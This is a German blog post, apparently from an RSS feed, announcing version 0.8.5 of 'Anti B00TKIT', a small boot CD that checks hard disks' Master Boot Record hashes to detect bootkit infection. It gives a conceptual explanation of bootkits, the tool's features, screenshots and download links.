                █ █▓▓█▀▀▀▀▀▀ █▓▓▓ ▓ ▓▒█ █▓▓█▀▀▀▀▀▀ █▓▓█▀▀▀▀▀▀ █
                █ █▓▒█ ▓▒░   █▓▒▒   ▒▒█ █▓▒█ ▓▒░   █▓▒█ ▓▒░   █
                █ █▒▒█▄▄▄    █▒▒▒  ▒▒▒█ █▒▒█▄▄▄    █▒▒█▄▄▄    █
                █ █▒▒▒▒▒█    █▒▒▒▒▒▒▒█  █▒▒▒▒▒█    █▒▒▒▒▒█    █
                █ █▒▒█▀▀▀    █▒▒▒  ▒▒▒█ █▒▒█▀▀▀    █▒▒█▀▀▀    █
                █ █▒▒█ ▓▒░   █▒▒▒   ▒▒█ █▒▒█ ▓▓▒ █ █▒▒█ ▓▒░   █
                █ █▒▒█▄▄▄▄▄▄ █▒▒▒ ░ ▒▒█ █▒▒█ ▓▒▒ █ █▒▒█▄▄▄▄▄▄ █
                █ █▒░░░░░░▒█ █▒░░  ▒░░█ █▒░█ ▓▒░ █ █▒░░░░░░▒█ █
                █ █░░░░░░▒▒█ █░░░░░░░░█ █░░█ ▒▒░ █ █░░░░░░▒▒█ █
                █ ▀████████▀ ▀████████▀ ████ ▒░░ █ ▀████████▀ █
                █ ▄▄▄▄▄▄▄▄▄▄█▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄███▄▄▄▄▄▄▄▄▄▄ █
                █ █▓▒░▓▓████▒▓███▓▓▒▒▓▓▒▒▓███▓▓▒▒▒▒░░▒▓██▓▓██ █
                █▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄█
                                                  ebfe@inbox.ru
─   ──  ─── ──────────────────────────────────────────────────────── ───  ──   ─
&nbsp;
                            .::P:R:E:S:E:N:T:S::.
─   ──  ─── ──────────────────────────────────────────────────────── ───  ──   ─</pre></div></div>

<h1>Was ist Anti B00TKIT?</h1>
<p>Ein Bootloader/eine Bootdisk. Damit kann man den Rechner hochfahren, die <a href="http://de.wikipedia.org/wiki/Master_Boot_Record">Master<br />
Boot Record</a> Einträge der Festplatten auslesen, deren <a href="http://de.wikipedia.org/wiki/Cyclic_Redundancy_Check">CRC-16</a> und <a href="http://de.wikipedia.org/wiki/Secure_Hash_Algorithm">SHA1</a> Prüfsummen<br />
anzeigen und von der ausgewählten Festplatte weiterbooten.</p>
<h1>Sinn?</h1>
<p>Der <a href="http://de.wikipedia.org/wiki/Master_Boot_Record">Master Boot Record</a> enthält üblicherweise die <a href="http://de.wikipedia.org/wiki/Partitionstabelle">Partitionstabelle</a> und einen<br />
<a href="http://de.wikipedia.org/wiki/Bootloader">Bootloader</a> (zumindest auf einer der Festplatten), der das eigentliche Betriebs-<br />
system lädt. Siehe dazu den Wikipediaeintrag.</p>
<p><a href="http://de.wikipedia.org/wiki/Bootkit">Bootkits</a> überschreiben diese Sequenz mit dem eigenen Code. So kann dieser schon<br />
vor dem Betriebssystem geladen werden und damit jeglichen Schutz ausgebeln. Zu-<br />
sätzlich hooken <a href="http://de.wikipedia.org/wiki/Bootkit">Bootkits</a> oft die &#8220;Lowlevel&#8221; Lese/Schreibfunktionen des Systems.<br />
Versucht nun das Betriebssystem oder ein Anti-Virus Programm den <a href="http://de.wikipedia.org/wiki/Master_Boot_Record">MBR</a> auszulesen,<br />
bekommen es nur den hübschen Backup der früheren Daten, nicht jedoch den realen</p>
<p><a href="http://de.wikipedia.org/wiki/Master_Boot_Record">MBR</a> zu sehen.<br />
Damit können auch jegliche Sicherheitsmechanismen ausgehebelt werden. Ein be-<br />
rühmtes Beispiel wäre: <a href="http://www.heise.de/newsticker/meldung/Bootkit-hebelt-Festplattenverschluesselung-aus-748859.html">http://www.heise.de/newsticker/meldung/B.859.html</a></p>
<p>Kurz: durch ein <a href="http://de.wikipedia.org/wiki/Bootkit">Bootkit</a> infiziertes System kann die eigene Infektion nicht wirk-<br />
lich zuverlässig erkennen.</p>
<p>Man kann allerdings von CD booten, sich die <a href="http://de.wikipedia.org/wiki/Master_Boot_Record">MBR</a>s anschauen sowie die Prüfsummen<br />
vergleichen &#8211; mit dem Anti B00TKIT. Da dieser (idealerweise) auf einer CD oder<br />
einem schreibgeschützen Medium liegt und als erstes ausgeführt wird, kann er<br />
auch nicht manipuliert werden oder falsche Daten untergeschoben bekommen.</p>
<h3>Warum nicht gleich eine LiveCD mit Linux oder Antivir Software nehmen?</h3>
<p>Ganz einfach: 5 <a href="http://de.wikipedia.org/wiki/Datenblock">Sektoren</a> (2.30KB) großer Loader des Anti B00TKITs ist praktisch<br />
sofort, ohne merkbare Verzögerung, geladen. Wie lange würde eine LiveCD booten?</p>
<p>Das heißt: <a href="http://www.computerlexikon.com/begriff-boot-sequence">Bootsequenz</a> im BIOS so einstellen, dass immer von CD mit Anti B00TKIT<br />
hochgefahren wird. Ein kurzer Blick auf die Prüfsummen und &#8220;weiterbooten&#8221; sollte<br />
auf jedenfall sehr viel flotter gehen als mit einer &#8220;schwergewichtigen&#8221; LiveCD<br />
und damit für den täglichen Einsatz deutlich geeigneter <img src='http://j0hnx3r.org/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</p>
<p>Soviel erstmal zum Allgemeinen Teil, seine aktuellste Version ist 0.8.5 mit u.a. diesen features:</p>
<p>release Version  0.85 (27.03.2010)</p>
<ul>
<li>CRC wurde entfernt (macht keinen Sinn neben SHA1)</li>
<li>automatische Hashprüfung (auf der CD gespeicherte Hashs werden mit  den Ermittelten verglichen). Erfordert eine benutzerangepasste CD.</li>
<li>automatisches Hochfahren nach einer festgelegten Zeit von einer  vordefinierten Festplatte. Erfordert eine benutzerangepasste CD.</li>
<li>Konfigurationstools, um ohne Programmierkenntnisse solche  benuterangepasste CDs zu erstellen <img src="http://s.wordpress.com/wp-includes/images/smilies/icon_wink.gif" alt=";)" /> .</li>
</ul>
<p>Ein paar Screenshots:</p>
<p>“Default” ISO/Img<br />
<img src="http://ebfe.de.vu/antibootkit/howto/img/default.png" alt="http://ebfe.de.vu/antibootkit/howto/img/default.png" /></p>
<p>Benutzerdefiniert (automatische Prüfung/Boot):<br />
<img src="http://ebfe.de.vu/antibootkit/howto/img/result.png" alt="http://ebfe.de.vu/antibootkit/howto/img/result.png" /></p>
<p>Bootvorgang wird unterbrochen, falls die Hashes nicht stimmen:<br />
<img src="http://ebfe.de.vu/antibootkit/howto/img/err1.png" alt="http://ebfe.de.vu/antibootkit/howto/img/err1.png" /></p>
<p>gespeicherte Hashes werden mit angezeigt (nicht übereinstimmende in rot):<br />
<img src="http://ebfe.de.vu/antibootkit/howto/img/err1_ext.png" alt="http://ebfe.de.vu/antibootkit/howto/img/err1_ext.png" /></p>
<p>Dumpansicht ist immer noch möglich <img src='http://j0hnx3r.org/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /><br />
<img src="http://ebfe.de.vu/antibootkit/howto/img/dump.png" alt="http://ebfe.de.vu/antibootkit/howto/img/dump.png" /></p>
<p>Sehr nett das ganze! Und eine ausgezeichnete Arbeit von EBFE meiner Meinung nach.</p>
<p>Ausfuehrliches &#8220;HowTo&#8221;: <a href="http://ebfe.de.vu/antibootkit/howto">http://ebfe.de.vu/antibootkit/howto</a><br />
Download: <a href="http://ebfe.de.vu/antibootkit/release085.zip">http://ebfe.de.vu/antibootkit/release085.zip</a><br />
Quellen: <a href="http://ebfes.wordpress.com/2010/03/27/anti-bootkit-v-0-8-5/">http://ebfes.wordpress.com/2010/03/27/anti-bootkit-v-0-8-5/</a><br />
Infos &#038; mehr zu EBFE&#8217;s Projekt: <a href="http://ebfe.de.vu/antibootkit">http://ebfe.de.vu/antibootkit</a></p>
]]></content:encoded>
			<wfw:commentRss>http://j0hnx3r.org/?feed=rss2&amp;p=574</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
